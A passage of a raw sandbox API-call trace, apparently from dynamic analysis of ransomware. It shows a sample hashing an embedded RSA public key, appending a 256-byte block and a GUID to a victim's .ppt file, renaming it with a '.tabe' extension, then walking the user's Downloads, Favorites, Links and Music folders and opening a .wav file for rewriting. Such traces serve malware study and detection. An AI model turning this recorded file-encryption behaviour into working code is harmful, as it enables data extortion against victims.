KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.390] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.390] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.390] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866f28) returned 1 [0126.391] CryptCreateHash (in: hProv=0x866f28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.391] CryptHashData (hHash=0x3463888, pbData=0x3ae2ff8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.391] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.391] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.391] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.391] CryptReleaseContext (hProv=0x866f28, dwFlags=0x0) returned 1 [0126.391] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.391] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.391] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.392] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.392] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x13adc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.392] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.392] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.392] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.393] CloseHandle (hObject=0x618) returned 1 [0126.393] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YX5oTaLr46sR87w.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yx5otalr46sr87w.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YX5oTaLr46sR87w.ppt.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yx5otalr46sr87w.ppt.tabe")) returned 1 [0126.395] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77b12fc0, ftCreationTime.dwHighDateTime=0x1d5dbfc, ftLastAccessTime.dwLowDateTime=0xe03d9c70, ftLastAccessTime.dwHighDateTime=0x1d5e531, ftLastWriteTime.dwLowDateTime=0xe03d9c70, ftLastWriteTime.dwHighDateTime=0x1d5e531, nFileSizeHigh=0x0, nFileSizeLow=0x13adc, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="YX5oTaLr46sR87w.ppt", cAlternateFileName="YX5OTA~1.PPT")) returned 0 [0126.395] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0126.395] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0126.395] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0126.395] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\") returned="Downloads\\" [0126.395] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.395] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.395] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.395] PathFindFileNameW (pszPath="") returned="" [0126.395] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0126.395] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0126.395] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0126.395] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini") returned=".ini" [0126.395] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0126.395] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0126.395] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0126.396] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0126.396] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0126.396] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.396] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.396] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.396] PathFindFileNameW (pszPath="") returned="" [0126.396] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0126.396] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0126.396] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0126.396] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini") returned=".ini" [0126.396] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Links", cAlternateFileName="")) returned 1 [0126.396] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0126.396] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0126.396] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0126.396] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0 [0126.396] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0126.396] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0126.396] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0126.396] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\") returned="Links\\" [0126.396] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.396] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.397] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.397] PathFindFileNameW (pszPath="") returned="" [0126.397] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0126.397] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0126.397] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0126.397] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini") returned=".ini" [0126.397] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0126.397] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk") returned=".lnk" [0126.397] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x3a1, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1 [0126.397] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk") returned=".lnk" [0126.397] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 1 [0126.397] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\RecentPlaces.lnk") returned=".lnk" [0126.397] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0 [0126.397] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0126.397] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0126.397] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0126.397] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\") returned="Local Settings\\" [0126.397] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.397] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.397] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.398] PathFindFileNameW (pszPath="") returned="" [0126.398] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0xffffffff [0126.398] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0126.398] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0126.398] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0126.398] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.398] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.398] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.398] PathFindFileNameW (pszPath="") returned="" [0126.398] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd8eb7e00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd8eb7e00, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0126.398] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd8eb7e00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd8eb7e00, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0126.398] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67dbcb00, ftCreationTime.dwHighDateTime=0x1d5d8dc, ftLastAccessTime.dwLowDateTime=0xf54f9d30, ftLastAccessTime.dwHighDateTime=0x1d5e544, ftLastWriteTime.dwLowDateTime=0xf54f9d30, ftLastWriteTime.dwHighDateTime=0x1d5e544, nFileSizeHigh=0x0, nFileSizeLow=0x15a9d, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="2BR1Eq.wav", cAlternateFileName="")) returned 1 [0126.398] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2BR1Eq.wav") returned=".wav" [0126.398] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2BR1Eq.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\2br1eq.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.399] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=88733) returned 1 [0126.399] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.400] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x15a77, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.400] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.401] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x15a9d, lpOverlapped=0x0) returned 1 [0126.402] lstrlenA (lpString="-----BEGIN PUBLIC 